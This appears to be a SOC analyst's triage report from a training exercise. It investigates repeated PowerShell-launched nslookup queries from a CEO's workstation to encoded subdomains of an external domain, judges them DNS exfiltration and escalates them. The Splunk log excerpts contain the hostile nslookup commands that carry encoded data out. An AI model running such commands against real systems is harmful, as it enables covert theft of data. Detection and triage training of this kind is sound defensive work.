

 [Edit report](#)

```
-User Involved: According to Company Information > Directory
Name: Michael Ascot
Email: michael.ascot@tryhatme.com
Role: CEO
Logged-in Host: win-3450-Device: win-3450 (Windows host)
```

-Incident Details: At 12/27/2025 15:54:20.164, lslookup.exe (PID 3700) was executed by powershell.exe (PID 3728) from "C:\Users\michael.ascot\downloads\". The command queried the external domain 'VEHNeE02GtMgFmNGvZ2A1OWE1Mm.haz4rdw4re.io'. This activity follows a series of similar DNS queries with encoded-looking subdomains and aligns with prior file access, network drive usage, and cleanup actions, indicating continued DNS-based outbound communication likely tied to data exfiltration or external signaling.

-Malware Identified: None explicitly identified. Activity consistent with DNS-based exfiltration behavior.

-Additional investigation: The incident occurred ten times in the last 6 hours (Starting Dec 27th 2025 at 15:20 to 21:20) according to SIEM Logs

-Additional info:

Does this alert require escalation?

☒ Yes ☐ No

Save and close alert

- Identified as True Positive
- Requires escalation to L2
- Full Report Documented on the last page

Splunk Enterprise | Messages | Settings | Activity | Help | Find

Search Analytics Datasets Reports Alerts Dashboards

New Search

Save As Create Table View Close

1 host.name="win-3450" process.name="nslookup.exe" process.parent.name="powershell.exe"

10 of 30 events matched No Event Sampling 6 day window

Job + - Refresh + Verbose Mode

Events (10) Patterns Statistics Visualization

Format Timeline Zoom Out Zoom to Selection Deselect 1 hour per column

List Format 50 Per Page

< Hide Fields	All Fields	i Time	Event
SELECTED FIELDS # host 1 # source 1 # sourcetype 1		> 12/27/25 3:55:33.248 PM	[datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3450 process.command_line: "C:\Windows\system32\nslookup.exe" VEHNezE8OTczHJfMNGYZZJA1OWE1Nm.haz4rdw4re.io process.name: nslookup.exe process.parent.name: powershell.exe process.parent.pid: 3728 process.pid: 3700 process.working_directory: C:\Users\michael.ascot\downloads\ timestamp: 12/27/2025 15:55:33.248] Show as raw text host = 10.10.211.182:8989 source = eventcollector sourcetype = _json
INTERESTING FIELDS # datasource 1 # event.action 1 # event.code 1 # host.name 1 # index 1 # lineagecount 1 # process.command_line 10 # process.name 1 # process.parent.name 1 # process.parent.pid 1 # process.pid 10 # process.working_directory 2 # punct 1 # splunk_server 1 # timestamp 2		> 12/27/25 3:55:33.248 PM	[datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3450 process.command_line: "C:\Windows\system32\nslookup.exe" RwyJEyNGZlMTYINjZlFQ==.haz4rdw4re.io process.name: nslookup.exe process.parent.name: powershell.exe process.parent.pid: 3728 process.pid: 3648 process.working_directory: C:\Users\michael.ascot\downloads\]

+ Extract New Fields

- For reference: The incident occurred ten times in the last 6 hours (Starting Dec 27th 2025 at 15:20 to 21:20)

Submitted report:

-Time of Incident: 12/27/2025 15:54:20.164

-User Involved: According to Company Information > Directory:

Name: Michael Ascot

Email: michael.ascot@tryhatme.com

Role: CEO

Logged-in Host: win-3450-Device: win-3450 (Windows host)

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-Additional info:

Parent Process: powershell.exe was used to script and automate DNS queries, suggesting deliberate execution rather than normal user troubleshooting.

Child Process: nslookup.exe is a legitimate Windows DNS lookup utility that can be abused to transmit encoded data through DNS requests.

Why This Is Uncommon: Repeated DNS queries with high-entropy subdomains executed via PowerShell, especially following data access activity, are not typical user behavior and strongly indicate covert data transfer techniques.

-Recommendations: Escalate to Level 2 (L2) for further investigation and handling.

-This is a True Positive

-This needs escalation to L2 for further investigation